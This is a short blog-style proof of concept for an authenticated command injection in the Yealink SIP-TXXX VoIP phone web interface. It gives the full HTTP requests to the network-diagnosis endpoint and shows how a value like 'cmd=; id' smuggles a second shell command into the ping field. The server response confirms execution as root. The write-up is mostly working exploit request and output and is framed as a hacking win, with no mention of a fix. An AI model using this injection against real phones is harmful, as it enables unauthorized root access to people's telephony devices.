Do you love hacking Phones? well of course VOIP phones , this should be worth a read! Just unconvered a vulnerability that existed in Yealink SIP-TXXX, This vulnerability leads to RCE , but it's Authenticated meaning you must be logged in to the web interface! --- #### Proof Of Concept After logging in to the web interface which by any chance can be port 80 or port 443 , there is a `Network` tab clicking on it , there are 5 sections `Basic`,`PC Port`,`NAT`,`Advanced`,and `Diagnostics`, Clicking on `Diagnostics`: ![](https://i.imgur.com/kjhoJFx.jpg) and there we can `ping` or perform `traceroute` command upon an IP address , capturing that request with burpsuite will reveal how the whole thing should look and how the parameters are sent with their values; ![](https://i.imgur.com/XxRbgeK.jpg) ```text POST /servlet?m=mod_data&p=network-diagnosis&q=docmd&Rajax=0.890925468511929 HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 49 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: */* Origin: http://xxx.xxx.xxx.xxx Referer: http://xxx.xxx.xxx.xxx/servlet?m=mod_data&p=network-diagnosis&q=load Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=9a83d24461329a130 Connection: close cmd=start ping 127.0.0.1&token=1714636915c6acea98 ``` so the parameter `cmd` takes the value `start` then the command to execute `ping 127.0.0.1`, so I thought of it as an easy win , where as I changed the value of the parameter `cmd` to take another value to execute instead of `ping` by an easy basic linux command: ```text cmd=; id;&token=1714636915c6acea98 ``` and now it will execute `id` command instead! ![](https://i.imgur.com/1K50Yji.jpg) **POST REQUEST** ```text POST /servlet?m=mod_data&p=network-diagnosis&q=docmd&Rajax=0.6597899560162612 HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: */* Origin: http://xxx.xxx.xxx.xxx Referer: http://xxx.xxx.xxx.xxx/servlet?m=mod_data&p=network-diagnosis&q=load Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=9a83d2446809c4f88 Connection: close cmd=; id&token=1957747793cee22738 ``` **RESPONSE** ``` HTTP/1.1 200 OK Content-Type: text/html Connection: close Date: Wed, 10 Nov 2021 14:20:23 GMT Server: embed httpd Content-Length: 82 <html> <body> <div id="_RES_INFO_"> uid=0(root) gid=0(root) </div> </body> </html> ``` And there we have RCE! :100: Contact : Twitter: [tahaafarooq](https://twitter.com/tahaafarooq), Telegram : [tahaafarooq](https://t.me/tahaafarooq)